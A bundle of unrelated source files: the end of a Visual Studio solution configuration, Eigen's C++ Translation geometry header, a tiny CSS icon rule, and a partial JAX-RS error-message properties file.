{6DE9B8AD-3CBD-499B-9A17-5DB198B7E6B1}.Debug|Any CPU.Build.0 = Debug|Any CPU
{6DE9B8AD-3CBD-499B-9A17-5DB198B7E6B1}.Release|Any CPU.ActiveCfg = Release|Any CPU
{6DE9B8AD-3CBD-499B-9A17-5DB198B7E6B1}.Release|Any CPU.Build.0 = Release|Any CPU
{EDEF6CD7-8132-4C8C-8196-38832D4F4B9F}.Debug|Any CPU.ActiveCfg = Debug|Any CPU
{EDEF6CD7-8132-4C8C-8196-38832D4F4B9F}.Debug|Any CPU.Build.0 = Debug|Any CPU
{EDEF6CD7-8132-4C8C-8196-38832D4F4B9F}.Release|Any CPU.ActiveCfg = Release|Any CPU
{EDEF6CD7-8132-4C8C-8196-38832D4F4B9F}.Release|Any CPU.Build.0 = Release|Any CPU
{EAC832A4-C689-4A81-A8C9-91ECE9C94521}.Debug|Any CPU.ActiveCfg = Debug|Any CPU
{EAC832A4-C689-4A81-A8C9-91ECE9C94521}.Debug|Any CPU.Build.0 = Debug|Any CPU
{EAC832A4-C689-4A81-A8C9-91ECE9C94521}.Release|Any CPU.ActiveCfg = Release|Any CPU
{EAC832A4-C689-4A81-A8C9-91ECE9C94521}.Release|Any CPU.Build.0 = Release|Any CPU
{9E47B77D-B108-4954-B441-2569FA888041}.Debug|Any CPU.ActiveCfg = Debug|Any CPU
{9E47B77D-B108-4954-B441-2569FA888041}.Debug|Any CPU.Build.0 = Debug|Any CPU
{9E47B77D-B108-4954-B441-2569FA888041}.Release|Any CPU.ActiveCfg = Release|Any CPU
{9E47B77D-B108-4954-B441-2569FA888041}.Release|Any CPU.Build.0 = Release|Any CPU
{9CCB4AFE-E0AF-4051-B4D2-D2885A7F1DB8}.Debug|Any CPU.ActiveCfg = Debug|Any CPU
{9CCB4AFE-E0AF-4051-B4D2-D2885A7F1DB8}.Debug|Any CPU.Build.0 = Debug|Any CPU
{9CCB4AFE-E0AF-4051-B4D2-D2885A7F1DB8}.Release|Any CPU.ActiveCfg = Release|Any CPU
{9CCB4AFE-E0AF-4051-B4D2-D2885A7F1DB8}.Release|Any CPU.Build.0 = Release|Any CPU
{C51252DA-60C9-4B3B-A08E-C94F9D1A9F35}.Debug|Any CPU.ActiveCfg = Debug|Any CPU
{C51252DA-60C9-4B3B-A08E-C94F9D1A9F35}.Debug|Any CPU.Build.0 = Debug|Any CPU
{C51252DA-60C9-4B3B-A08E-C94F9D1A9F35}.Release|Any CPU.ActiveCfg = Release|Any CPU
{C51252DA-60C9-4B3B-A08E-C94F9D1A9F35}.Release|Any CPU.Build.0 = Release|Any CPU
{B148FE6C-3D5A-4EFB-8A93-63ADB3152CF7}.Debug|Any CPU.ActiveCfg = Debug|Any CPU
{B148FE6C-3D5A-4EFB-8A93-63ADB3152CF7}.Debug|Any CPU.Build.0 = Debug|Any CPU
{B148FE6C-3D5A-4EFB-8A93-63ADB3152CF7}.Release|Any CPU.ActiveCfg = Release|Any CPU
{B148FE6C-3D5A-4EFB-8A93-63ADB3152CF7}.Release|Any CPU.Build.0 = Release|Any CPU
{73860779-6975-440D-9F01-DCE0FBA2F703}.Debug|Any CPU.ActiveCfg = Debug|Any CPU
{73860779-6975-440D-9F01-DCE0FBA2F703}.Debug|Any CPU.Build.0 = Debug|Any CPU
{73860779-6975-440D-9F01-DCE0FBA2F703}.Release|Any CPU.ActiveCfg = Release|Any CPU
{73860779-6975-440D-9F01-DCE0FBA2F703}.Release|Any CPU.Build.0 = Release|Any CPU
{2FEB822E-A465-483C-B14C-1CE2F27A2181}.Debug|Any CPU.ActiveCfg = Debug|Any CPU
{2FEB822E-A465-483C-B14C-1CE2F27A2181}.Debug|Any CPU.Build.0 = Debug|Any CPU
{2FEB822E-A465-483C-B14C-1CE2F27A2181}.Release|Any CPU.ActiveCfg = Release|Any CPU
{2FEB822E-A465-483C-B14C-1CE2F27A2181}.Release|Any CPU.Build.0 = Release|Any CPU
{69ADB61D-C5B5-4E5E-82D6-8AFD9216D28E}.Debug|Any CPU.ActiveCfg = Debug|Any CPU
{69ADB61D-C5B5-4E5E-82D6-8AFD9216D28E}.Debug|Any CPU.Build.0 = Debug|Any CPU
{69ADB61D-C5B5-4E5E-82D6-8AFD9216D28E}.Release|Any CPU.ActiveCfg = Release|Any CPU
{69ADB61D-C5B5-4E5E-82D6-8AFD9216D28E}.Release|Any CPU.Build.0 = Release|Any CPU
{54C6341B-FF25-4E8E-B8ED-BBE9503FF2BF}.Debug|Any CPU.ActiveCfg = Debug|Any CPU
{54C6341B-FF25-4E8E-B8ED-BBE9503FF2BF}.Debug|Any CPU.Build.0 = Debug|Any CPU
{54C6341B-FF25-4E8E-B8ED-BBE9503FF2BF}.Release|Any CPU.ActiveCfg = Release|Any CPU
{54C6341B-FF25-4E8E-B8ED-BBE9503FF2BF}.Release|Any CPU.Build.0 = Release|Any CPU
{6D4EB5C2-1427-4BBD-8679-F1D01F3675F9}.Debug|Any CPU.ActiveCfg = Debug|Any CPU
{6D4EB5C2-1427-4BBD-8679-F1D01F3675F9}.Debug|Any CPU.Build.0 = Debug|Any CPU
{6D4EB5C2-1427-4BBD-8679-F1D01F3675F9}.Release|Any CPU.ActiveCfg = Release|Any CPU
{6D4EB5C2-1427-4BBD-8679-F1D01F3675F9}.Release|Any CPU.Build.0 = Release|Any CPU
{1F722FBD-8E0C-4D3F-AFB5-8D8B0C8A7102}.Debug|Any CPU.ActiveCfg = Debug|Any CPU
{1F722FBD-8E0C-4D3F-AFB5-8D8B0C8A7102}.Debug|Any CPU.Build.0 = Debug|Any CPU
{1F722FBD-8E0C-4D3F-AFB5-8D8B0C8A7102}.Release|Any CPU.ActiveCfg = Release|Any CPU
{1F722FBD-8E0C-4D3F-AFB5-8D8B0C8A7102}.Release|Any CPU.Build.0 = Release|Any CPU
{2D9F99FD-93EE-4D9E-8EC9-718E6C67595E}.Debug|Any CPU.ActiveCfg = Debug|Any CPU
{2D9F99FD-93EE-4D9E-8EC9-718E6C67595E}.Debug|Any CPU.Build.0 = Debug|Any CPU
{2D9F99FD-93EE-4D9E-8EC9-718E6C67595E}.Release|Any CPU.ActiveCfg = Release|Any CPU
{2D9F99FD-93EE-4D9E-8EC9-718E6C67595E}.Release|Any CPU.Build.0 = Release|Any CPU
{D619CE8D-3B4F-415A-BA78-96B2D551A2C2}.Debug|Any CPU.ActiveCfg = Debug|Any CPU
{D619CE8D-3B4F-415A-BA78-96B2D551A2C2}.Debug|Any CPU.Build.0 = Debug|Any CPU
{D619CE8D-3B4F-415A-BA78-96B2D551A2C2}.Release|Any CPU.ActiveCfg = Release|Any CPU
{D619CE8D-3B4F-415A-BA78-96B2D551A2C2}.Release|Any CPU.Build.0 = Release|Any CPU
{2C86EC33-C71F-4369-940D-F9FDB69EB165}.Debug|Any CPU.ActiveCfg = Debug|Any CPU
{2C86EC33-C71F-4369-940D-F9FDB69EB165}.Debug|Any CPU.Build.0 = Debug|Any CPU
{2C86EC33-C71F-4369-940D-F9FDB69EB165}.Release|Any CPU.ActiveCfg = Release|Any CPU
{2C86EC33-C71F-4369-940D-F9FDB69EB165}.Release|Any CPU.Build.0 = Release|Any CPU
{7F2E2246-C2C6-4AFB-A724-4833F417CD4A}.Debug|Any CPU.ActiveCfg = Debug|Any CPU
{7F2E2246-C2C6-4AFB-A724-4833F417CD4A}.Debug|Any CPU.Build.0 = Debug|Any CPU
{7F2E2246-C2C6-4AFB-A724-4833F417CD4A}.Release|Any CPU.ActiveCfg = Release|Any CPU
{7F2E2246-C2C6-4AFB-A724-4833F417CD4A}.Release|Any CPU.Build.0 = Release|Any CPU
{195EAE48-23A4-47CD-84F8-6FDC61FAA236}.Debug|Any CPU.ActiveCfg = Debug|Any CPU
{195EAE48-23A4-47CD-84F8-6FDC61FAA236}.Debug|Any CPU.Build.0 = Debug|Any CPU
{195EAE48-23A4-47CD-84F8-6FDC61FAA236}.Release|Any CPU.ActiveCfg = Release|Any CPU
{195EAE48-23A4-47CD-84F8-6FDC61FAA236}.Release|Any CPU.Build.0 = Release|Any CPU
{EA7CE19E-AA6C-491B-B049-76D4D97448D9}.Debug|Any CPU.ActiveCfg = Debug|Any CPU
{EA7CE19E-AA6C-491B-B049-76D4D97448D9}.Debug|Any CPU.Build.0 = Debug|Any CPU
{EA7CE19E-AA6C-491B-B049-76D4D97448D9}.Release|Any CPU.ActiveCfg = Release|Any CPU
{EA7CE19E-AA6C-491B-B049-76D4D97448D9}.Release|Any CPU.Build.0 = Release|Any CPU
{0A52123E-EFA1-4A86-8223-FB7B807C162A}.Debug|Any CPU.ActiveCfg = Debug|Any CPU
{0A52123E-EFA1-4A86-8223-FB7B807C162A}.Debug|Any CPU.Build.0 = Debug|Any CPU
{0A52123E-EFA1-4A86-8223-FB7B807C162A}.Release|Any CPU.ActiveCfg = Release|Any CPU
{0A52123E-EFA1-4A86-8223-FB7B807C162A}.Release|Any CPU.Build.0 = Release|Any CPU
{B642EA48-DB2E-4BF7-A77C-9F5A38E7856C}.Debug|Any CPU.ActiveCfg = Debug|Any CPU
{B642EA48-DB2E-4BF7-A77C-9F5A38E7856C}.Debug|Any CPU.Build.0 = Debug|Any CPU
{B642EA48-DB2E-4BF7-A77C-9F5A38E7856C}.Release|Any CPU.ActiveCfg = Release|Any CPU
{B642EA48-DB2E-4BF7-A77C-9F5A38E7856C}.Release|Any CPU.Build.0 = Release|Any CPU
{A528808D-F58D-4132-9D79-13C23341FE52}.Debug|Any CPU.ActiveCfg = Debug|Any CPU
{A528808D-F58D-4132-9D79-13C23341FE52}.Debug|Any CPU.Build.0 = Debug|Any CPU
{A528808D-F58D-4132-9D79-13C23341FE52}.Release|Any CPU.ActiveCfg = Release|Any CPU
{A528808D-F58D-4132-9D79-13C23341FE52}.Release|Any CPU.Build.0 = Release|Any CPU
{099981E0-206B-4E1E-A806-87761B1D238D}.Debug|Any CPU.ActiveCfg = Debug|Any CPU
{099981E0-206B-4E1E-A806-87761B1D238D}.Debug|Any CPU.Build.0 = Debug|Any CPU
{099981E0-206B-4E1E-A806-87761B1D238D}.Release|Any CPU.ActiveCfg = Release|Any CPU
{099981E0-206B-4E1E-A806-87761B1D238D}.Release|Any CPU.Build.0 = Release|Any CPU
{8E35D7B2-7901-4A74-8A1A-0C836D1F8E03}.Debug|Any CPU.ActiveCfg = Debug|Any CPU
{8E35D7B2-7901-4A74-8A1A-0C836D1F8E03}.Debug|Any CPU.Build.0 = Debug|Any CPU
{8E35D7B2-7901-4A74-8A1A-0C836D1F8E03}.Release|Any CPU.ActiveCfg = Release|Any CPU
{8E35D7B2-7901-4A74-8A1A-0C836D1F8E03}.Release|Any CPU.Build.0 = Release|Any CPU
{AC122D65-34DB-4577-BEDF-07A4736DD6B7}.Debug|Any CPU.ActiveCfg = Debug|Any CPU
{AC122D65-34DB-4577-BEDF-07A4736DD6B7}.Debug|Any CPU.Build.0 = Debug|Any CPU
{AC122D65-34DB-4577-BEDF-07A4736DD6B7}.Release|Any CPU.ActiveCfg = Release|Any CPU
{AC122D65-34DB-4577-BEDF-07A4736DD6B7}.Release|Any CPU.Build.0 = Release|Any CPU
{40C09D4D-7656-406A-A03B-2A22454AD9F5}.Debug|Any CPU.ActiveCfg = Debug|Any CPU
{40C09D4D-7656-406A-A03B-2A22454AD9F5}.Debug|Any CPU.Build.0 = Debug|Any CPU
{40C09D4D-7656-406A-A03B-2A22454AD9F5}.Release|Any CPU.ActiveCfg = Release|Any CPU
{40C09D4D-7656-406A-A03B-2A22454AD9F5}.Release|Any CPU.Build.0 = Release|Any CPU
{946E750A-1137-4CEF-92F1-8E038A8CBE67}.Debug|Any CPU.ActiveCfg = Debug|Any CPU
{946E750A-1137-4CEF-92F1-8E038A8CBE67}.Debug|Any CPU.Build.0 = Debug|Any CPU
{946E750A-1137-4CEF-92F1-8E038A8CBE67}.Release|Any CPU.ActiveCfg = Release|Any CPU
{946E750A-1137-4CEF-92F1-8E038A8CBE67}.Release|Any CPU.Build.0 = Release|Any CPU
{20EC16D8-C22F-4867-A80D-F4B2014549C8}.Debug|Any CPU.ActiveCfg = Debug|Any CPU
{20EC16D8-C22F-4867-A80D-F4B2014549C8}.Debug|Any CPU.Build.0 = Debug|Any CPU
{20EC16D8-C22F-4867-A80D-F4B2014549C8}.Release|Any CPU.ActiveCfg = Release|Any CPU
{20EC16D8-C22F-4867-A80D-F4B2014549C8}.Release|Any CPU.Build.0 = Release|Any CPU
{929EF484-89F5-4A99-BE58-307AE4A5AE63}.Debug|Any CPU.ActiveCfg = Debug|Any CPU
{929EF484-89F5-4A99-BE58-307AE4A5AE63}.Debug|Any CPU.Build.0 = Debug|Any CPU
{929EF484-89F5-4A99-BE58-307AE4A5AE63}.Release|Any CPU.ActiveCfg = Release|Any CPU
{929EF484-89F5-4A99-BE58-307AE4A5AE63}.Release|Any CPU.Build.0 = Release|Any CPU
{23021A75-F17B-401F-9465-87B45796BAAB}.Debug|Any CPU.ActiveCfg = Debug|Any CPU
{23021A75-F17B-401F-9465-87B45796BAAB}.Debug|Any CPU.Build.0 = Debug|Any CPU
{23021A75-F17B-401F-9465-87B45796BAAB}.Release|Any CPU.ActiveCfg = Release|Any CPU
{23021A75-F17B-401F-9465-87B45796BAAB}.Release|Any CPU.Build.0 = Release|Any CPU
{E4AA0AAD-8921-4944-B8A9-F578A3DA8CF1}.Debug|Any CPU.ActiveCfg = Debug|Any CPU
{E4AA0AAD-8921-4944-B8A9-F578A3DA8CF1}.Debug|Any CPU.Build.0 = Debug|Any CPU
{E4AA0AAD-8921-4944-B8A9-F578A3DA8CF1}.Release|Any CPU.ActiveCfg = Release|Any CPU
{E4AA0AAD-8921-4944-B8A9-F578A3DA8CF1}.Release|Any CPU.Build.0 = Release|Any CPU
{9DABD102-2757-46A8-957F-27EFEF0A67FF}.Debug|Any CPU.ActiveCfg = Debug|Any CPU
{9DABD102-2757-46A8-957F-27EFEF0A67FF}.Debug|Any CPU.Build.0 = Debug|Any CPU
{9DABD102-2757-46A8-957F-27EFEF0A67FF}.Release|Any CPU.ActiveCfg = Release|Any CPU
{9DABD102-2757-46A8-957F-27EFEF0A67FF}.Release|Any CPU.Build.0 = Release|Any CPU
{1B3FD7F4-8F3A-45A0-8BF2-EAD611B51E8A}.Debug|Any CPU.ActiveCfg = Debug|Any CPU
{1B3FD7F4-8F3A-45A0-8BF2-EAD611B51E8A}.Debug|Any CPU.Build.0 = Debug|Any CPU
{1B3FD7F4-8F3A-45A0-8BF2-EAD611B51E8A}.Release|Any CPU.ActiveCfg = Release|Any CPU
{1B3FD7F4-8F3A-45A0-8BF2-EAD611B51E8A}.Release|Any CPU.Build.0 = Release|Any CPU
{4857566A-51FC-434C-8989-F0E285637785}.Debug|Any CPU.ActiveCfg = Debug|Any CPU
{4857566A-51FC-434C-8989-F0E285637785}.Debug|Any CPU.Build.0 = Debug|Any CPU
{4857566A-51FC-434C-8989-F0E285637785}.Release|Any CPU.ActiveCfg = Release|Any CPU
{4857566A-51FC-434C-8989-F0E285637785}.Release|Any CPU.Build.0 = Release|Any CPU
{D3D7AD0E-AA4E-4CE1-B7B5-1E9E3CAC44DE}.Debug|Any CPU.ActiveCfg = Debug|Any CPU
{D3D7AD0E-AA4E-4CE1-B7B5-1E9E3CAC44DE}.Debug|Any CPU.Build.0 = Debug|Any CPU
{D3D7AD0E-AA4E-4CE1-B7B5-1E9E3CAC44DE}.Release|Any CPU.ActiveCfg = Release|Any CPU
{D3D7AD0E-AA4E-4CE1-B7B5-1E9E3CAC44DE}.Release|Any CPU.Build.0 = Release|Any CPU
{799B1476-26C5-4D15-8373-436C06347FC5}.Debug|Any CPU.ActiveCfg = Debug|Any CPU
{799B1476-26C5-4D15-8373-436C06347FC5}.Debug|Any CPU.Build.0 = Debug|Any CPU
{799B1476-26C5-4D15-8373-436C06347FC5}.Release|Any CPU.ActiveCfg = Release|Any CPU
{799B1476-26C5-4D15-8373-436C06347FC5}.Release|Any CPU.Build.0 = Release|Any CPU
{8E81F120-78EA-4DAF-8393-161391036B2D}.Debug|Any CPU.ActiveCfg = Debug|Any CPU
{8E81F120-78EA-4DAF-8393-161391036B2D}.Debug|Any CPU.Build.0 = Debug|Any CPU
{8E81F120-78EA-4DAF-8393-161391036B2D}.Release|Any CPU.ActiveCfg = Release|Any CPU
{8E81F120-78EA-4DAF-8393-161391036B2D}.Release|Any CPU.Build.0 = Release|Any CPU
{FF848B54-5B82-4DAE-B3E7-295FEB1E1FF4}.Debug|Any CPU.ActiveCfg = Debug|Any CPU
{FF848B54-5B82-4DAE-B3E7-295FEB1E1FF4}.Debug|Any CPU.Build.0 = Debug|Any CPU
{FF848B54-5B82-4DAE-B3E7-295FEB1E1FF4}.Release|Any CPU.ActiveCfg = Release|Any CPU
{FF848B54-5B82-4DAE-B3E7-295FEB1E1FF4}.Release|Any CPU.Build.0 = Release|Any CPU
{144EB3D9-43C3-482C-857A-31C045757A9E}.Debug|Any CPU.ActiveCfg = Debug|Any CPU
{144EB3D9-43C3-482C-857A-31C045757A9E}.Debug|Any CPU.Build.0 = Debug|Any CPU
{144EB3D9-43C3-482C-857A-31C045757A9E}.Release|Any CPU.ActiveCfg = Release|Any CPU
{144EB3D9-43C3-482C-857A-31C045757A9E}.Release|Any CPU.Build.0 = Release|Any CPU
{679D2D54-C765-4D0D-8985-99EB26C070B6}.Debug|Any CPU.ActiveCfg = Debug|Any CPU
{679D2D54-C765-4D0D-8985-99EB26C070B6}.Debug|Any CPU.Build.0 = Debug|Any CPU
{679D2D54-C765-4D0D-8985-99EB26C070B6}.Release|Any CPU.ActiveCfg = Release|Any CPU
{679D2D54-C765-4D0D-8985-99EB26C070B6}.Release|Any CPU.Build.0 = Release|Any CPU
{0D72E1A2-788A-431C-981A-1B06853C754C}.Debug|Any CPU.ActiveCfg = Debug|Any CPU
{0D72E1A2-788A-431C-981A-1B06853C754C}.Debug|Any CPU.Build.0 = Debug|Any CPU
{0D72E1A2-788A-431C-981A-1B06853C754C}.Release|Any CPU.ActiveCfg = Release|Any CPU
{0D72E1A2-788A-431C-981A-1B06853C754C}.Release|Any CPU.Build.0 = Release|Any CPU
{89AAEF7D-3701-4E50-85E9-BF8880AD8878}.Debug|Any CPU.ActiveCfg = Debug|Any CPU
{89AAEF7D-3701-4E50-85E9-BF8880AD8878}.Debug|Any CPU.Build.0 = Debug|Any CPU
{89AAEF7D-3701-4E50-85E9-BF8880AD8878}.Release|Any CPU.ActiveCfg = Release|Any CPU
{89AAEF7D-3701-4E50-85E9-BF8880AD8878}.Release|Any CPU.Build.0 = Release|Any CPU
{94CBEFF3-31A2-4FF9-BE78-F00E355A86AB}.Debug|Any CPU.ActiveCfg = Debug|Any CPU
{94CBEFF3-31A2-4FF9-BE78-F00E355A86AB}.Debug|Any CPU.Build.0 = Debug|Any CPU
{94CBEFF3-31A2-4FF9-BE78-F00E355A86AB}.Release|Any CPU.ActiveCfg = Release|Any CPU
{94CBEFF3-31A2-4FF9-BE78-F00E355A86AB}.Release|Any CPU.Build.0 = Release|Any CPU
{7BD23C6D-6571-4912-9B93-1FA1F7EE5EA0}.Debug|Any CPU.ActiveCfg = Debug|Any CPU
{7BD23C6D-6571-4912-9B93-1FA1F7EE5EA0}.Debug|Any CPU.Build.0 = Debug|Any CPU
{7BD23C6D-6571-4912-9B93-1FA1F7EE5EA0}.Release|Any CPU.ActiveCfg = Release|Any CPU
{7BD23C6D-6571-4912-9B93-1FA1F7EE5EA0}.Release|Any CPU.Build.0 = Release|Any CPU
{9478C868-C8DC-4693-8B87-E222DE17CEEE}.Debug|Any CPU.ActiveCfg = Debug|Any CPU
{9478C868-C8DC-4693-8B87-E222DE17CEEE}.Debug|Any CPU.Build.0 = Debug|Any CPU
{9478C868-C8DC-4693-8B87-E222DE17CEEE}.Release|Any CPU.ActiveCfg = Release|Any CPU
{9478C868-C8DC-4693-8B87-E222DE17CEEE}.Release|Any CPU.Build.0 = Release|Any CPU
{F21CFCD3-88E9-4DCD-AF89-1D17BE94C90E}.Debug|Any CPU.ActiveCfg = Debug|Any CPU
{F21CFCD3-88E9-4DCD-AF89-1D17BE94C90E}.Debug|Any CPU.Build.0 = Debug|Any CPU
{F21CFCD3-88E9-4DCD-AF89-1D17BE94C90E}.Release|Any CPU.ActiveCfg = Release|Any CPU
{F21CFCD3-88E9-4DCD-AF89-1D17BE94C90E}.Release|Any CPU.Build.0 = Release|Any CPU
{6DFB7C59-8ABC-44E6-B2C2-2FC6AD5021E4}.Debug|Any CPU.ActiveCfg = Debug|Any CPU
{6DFB7C59-8ABC-44E6-B2C2-2FC6AD5021E4}.Debug|Any CPU.Build.0 = Debug|Any CPU
{6DFB7C59-8ABC-44E6-B2C2-2FC6AD5021E4}.Release|Any CPU.ActiveCfg = Release|Any CPU
{6DFB7C59-8ABC-44E6-B2C2-2FC6AD5021E4}.Release|Any CPU.Build.0 = Release|Any CPU
EndGlobalSection
GlobalSection(SolutionProperties) = preSolution
HideSolutionNode = FALSE
EndGlobalSection
GlobalSection(ExtensibilityGlobals) = postSolution
SolutionGuid = {5692BF08-52C2-4A45-9DA9-F6B390321257}
EndGlobalSection
GlobalSection(Performance) = preSolution
HasPerformanceSessions = true
EndGlobalSection
GlobalSection(MonoDevelopProperties) = preSolution
Policies = $0
$0.TextStylePolicy = $1
$1.FileWidth = 120
$1.EolMarker = Windows
$1.inheritsSet = VisualStudio
$1.inheritsScope = text/plain
$1.scope = text/x-csharp
$0.CSharpFormattingPolicy = $2
$2.AnonymousMethodBraceStyle = NextLine
$2.PropertyBraceStyle = NextLine
$2.PropertyGetBraceStyle = NextLine
$2.PropertySetBraceStyle = NextLine
$2.EventBraceStyle = NextLine
$2.EventAddBraceStyle = NextLine
$2.EventRemoveBraceStyle = NextLine
$2.StatementBraceStyle = NextLine
$2.BeforeMethodDeclarationParentheses = False
$2.BeforeMethodCallParentheses = False
$2.BeforeConstructorDeclarationParentheses = False
$2.BeforeIndexerDeclarationBracket = False
$2.BeforeDelegateDeclarationParentheses = False
$2.AfterDelegateDeclarationParameterComma = True
$2.NewParentheses = False
$2.SpacesBeforeBrackets = False
$2.inheritsSet = Mono
$2.inheritsScope = text/x-csharp
$2.scope = text/x-csharp
StartupItem = UvDebug\Desktop\UvDebug.Desktop.csproj
EndGlobalSection
EndGlobal
| {
"pile_set_name": "Github"
} |
// This file is part of Eigen, a lightweight C++ template library
// for linear algebra.
//
// Copyright (C) 2008 Gael Guennebaud <gael.guennebaud@inria.fr>
//
// This Source Code Form is subject to the terms of the Mozilla
// Public License v. 2.0. If a copy of the MPL was not distributed
// with this file, You can obtain one at http://mozilla.org/MPL/2.0/.
#ifndef EIGEN_TRANSLATION_H
#define EIGEN_TRANSLATION_H
namespace Eigen {
/** \geometry_module \ingroup Geometry_Module
*
* \class Translation
*
* \brief Represents a translation transformation
*
* \tparam _Scalar the scalar type, i.e., the type of the coefficients.
* \tparam _Dim the dimension of the space, can be a compile time value or Dynamic
*
* \note This class is not aimed to be used to store a translation transformation,
* but rather to make easier the constructions and updates of Transform objects.
*
* \sa class Scaling, class Transform
*/
template<typename _Scalar, int _Dim>
class Translation
{
public:
EIGEN_MAKE_ALIGNED_OPERATOR_NEW_IF_VECTORIZABLE_FIXED_SIZE(_Scalar,_Dim)
/** dimension of the space */
enum { Dim = _Dim };
/** the scalar type of the coefficients */
typedef _Scalar Scalar;
/** corresponding vector type */
typedef Matrix<Scalar,Dim,1> VectorType;
/** corresponding linear transformation matrix type */
typedef Matrix<Scalar,Dim,Dim> LinearMatrixType;
/** corresponding affine transformation type */
typedef Transform<Scalar,Dim,Affine> AffineTransformType;
/** corresponding isometric transformation type */
typedef Transform<Scalar,Dim,Isometry> IsometryTransformType;
protected:
VectorType m_coeffs;
public:
/** Default constructor without initialization. */
EIGEN_DEVICE_FUNC Translation() {}
/** */
EIGEN_DEVICE_FUNC inline Translation(const Scalar& sx, const Scalar& sy)
{
eigen_assert(Dim==2);
m_coeffs.x() = sx;
m_coeffs.y() = sy;
}
/** */
EIGEN_DEVICE_FUNC inline Translation(const Scalar& sx, const Scalar& sy, const Scalar& sz)
{
eigen_assert(Dim==3);
m_coeffs.x() = sx;
m_coeffs.y() = sy;
m_coeffs.z() = sz;
}
/** Constructs and initialize the translation transformation from a vector of translation coefficients */
EIGEN_DEVICE_FUNC explicit inline Translation(const VectorType& vector) : m_coeffs(vector) {}
/** \brief Retruns the x-translation by value. **/
EIGEN_DEVICE_FUNC inline Scalar x() const { return m_coeffs.x(); }
/** \brief Retruns the y-translation by value. **/
EIGEN_DEVICE_FUNC inline Scalar y() const { return m_coeffs.y(); }
/** \brief Retruns the z-translation by value. **/
EIGEN_DEVICE_FUNC inline Scalar z() const { return m_coeffs.z(); }
/** \brief Retruns the x-translation as a reference. **/
EIGEN_DEVICE_FUNC inline Scalar& x() { return m_coeffs.x(); }
/** \brief Retruns the y-translation as a reference. **/
EIGEN_DEVICE_FUNC inline Scalar& y() { return m_coeffs.y(); }
/** \brief Retruns the z-translation as a reference. **/
EIGEN_DEVICE_FUNC inline Scalar& z() { return m_coeffs.z(); }
EIGEN_DEVICE_FUNC const VectorType& vector() const { return m_coeffs; }
EIGEN_DEVICE_FUNC VectorType& vector() { return m_coeffs; }
EIGEN_DEVICE_FUNC const VectorType& translation() const { return m_coeffs; }
EIGEN_DEVICE_FUNC VectorType& translation() { return m_coeffs; }
/** Concatenates two translation */
EIGEN_DEVICE_FUNC inline Translation operator* (const Translation& other) const
{ return Translation(m_coeffs + other.m_coeffs); }
/** Concatenates a translation and a uniform scaling */
EIGEN_DEVICE_FUNC inline AffineTransformType operator* (const UniformScaling<Scalar>& other) const;
/** Concatenates a translation and a linear transformation */
template<typename OtherDerived>
EIGEN_DEVICE_FUNC inline AffineTransformType operator* (const EigenBase<OtherDerived>& linear) const;
/** Concatenates a translation and a rotation */
template<typename Derived>
EIGEN_DEVICE_FUNC inline IsometryTransformType operator*(const RotationBase<Derived,Dim>& r) const
{ return *this * IsometryTransformType(r); }
/** \returns the concatenation of a linear transformation \a l with the translation \a t */
// its a nightmare to define a templated friend function outside its declaration
template<typename OtherDerived> friend
EIGEN_DEVICE_FUNC inline AffineTransformType operator*(const EigenBase<OtherDerived>& linear, const Translation& t)
{
AffineTransformType res;
res.matrix().setZero();
res.linear() = linear.derived();
res.translation() = linear.derived() * t.m_coeffs;
res.matrix().row(Dim).setZero();
res(Dim,Dim) = Scalar(1);
return res;
}
/** Concatenates a translation and a transformation */
template<int Mode, int Options>
EIGEN_DEVICE_FUNC inline Transform<Scalar,Dim,Mode> operator* (const Transform<Scalar,Dim,Mode,Options>& t) const
{
Transform<Scalar,Dim,Mode> res = t;
res.pretranslate(m_coeffs);
return res;
}
/** Applies translation to vector */
template<typename Derived>
inline typename internal::enable_if<Derived::IsVectorAtCompileTime,VectorType>::type
operator* (const MatrixBase<Derived>& vec) const
{ return m_coeffs + vec.derived(); }
/** \returns the inverse translation (opposite) */
Translation inverse() const { return Translation(-m_coeffs); }
Translation& operator=(const Translation& other)
{
m_coeffs = other.m_coeffs;
return *this;
}
static const Translation Identity() { return Translation(VectorType::Zero()); }
/** \returns \c *this with scalar type casted to \a NewScalarType
*
* Note that if \a NewScalarType is equal to the current scalar type of \c *this
* then this function smartly returns a const reference to \c *this.
*/
template<typename NewScalarType>
EIGEN_DEVICE_FUNC inline typename internal::cast_return_type<Translation,Translation<NewScalarType,Dim> >::type cast() const
{ return typename internal::cast_return_type<Translation,Translation<NewScalarType,Dim> >::type(*this); }
/** Copy constructor with scalar type conversion */
template<typename OtherScalarType>
EIGEN_DEVICE_FUNC inline explicit Translation(const Translation<OtherScalarType,Dim>& other)
{ m_coeffs = other.vector().template cast<Scalar>(); }
/** \returns \c true if \c *this is approximately equal to \a other, within the precision
* determined by \a prec.
*
* \sa MatrixBase::isApprox() */
EIGEN_DEVICE_FUNC bool isApprox(const Translation& other, const typename NumTraits<Scalar>::Real& prec = NumTraits<Scalar>::dummy_precision()) const
{ return m_coeffs.isApprox(other.m_coeffs, prec); }
};
/** \addtogroup Geometry_Module */
//@{
typedef Translation<float, 2> Translation2f;
typedef Translation<double,2> Translation2d;
typedef Translation<float, 3> Translation3f;
typedef Translation<double,3> Translation3d;
//@}
template<typename Scalar, int Dim>
EIGEN_DEVICE_FUNC inline typename Translation<Scalar,Dim>::AffineTransformType
Translation<Scalar,Dim>::operator* (const UniformScaling<Scalar>& other) const
{
AffineTransformType res;
res.matrix().setZero();
res.linear().diagonal().fill(other.factor());
res.translation() = m_coeffs;
res(Dim,Dim) = Scalar(1);
return res;
}
template<typename Scalar, int Dim>
template<typename OtherDerived>
EIGEN_DEVICE_FUNC inline typename Translation<Scalar,Dim>::AffineTransformType
Translation<Scalar,Dim>::operator* (const EigenBase<OtherDerived>& linear) const
{
AffineTransformType res;
res.matrix().setZero();
res.linear() = linear.derived();
res.translation() = m_coeffs;
res.matrix().row(Dim).setZero();
res(Dim,Dim) = Scalar(1);
return res;
}
} // end namespace Eigen
#endif // EIGEN_TRANSLATION_H
| {
"pile_set_name": "Github"
} |
.gg-play-stop {
box-sizing: border-box;
position: relative;
display: block;
transform: scale(var(--ggs,1));
width: 10px;
height: 10px;
background: currentColor
} | {
"pile_set_name": "Github"
} |
# Id: 5000
# Message: This constructor must be called in the context of a JAX-RS request
consructorMustBeCalled=This constructor must be called in the context of a JAX-RS request
# Id: 5005
# Message: Unable to find JAXBContext for media type: %s
# @param 1: mediaType -
unableToFindJAXBContext=Unable to find JAXBContext for media type: %s
# Id: 5010
# Message: Unable to marshal: %s
# @param 1: mediaType -
unableToMarshal=Unable to marshal: %s
# Id: 5015
# Message: Unable to unmarshal: %s
# @param 1: mediaType -
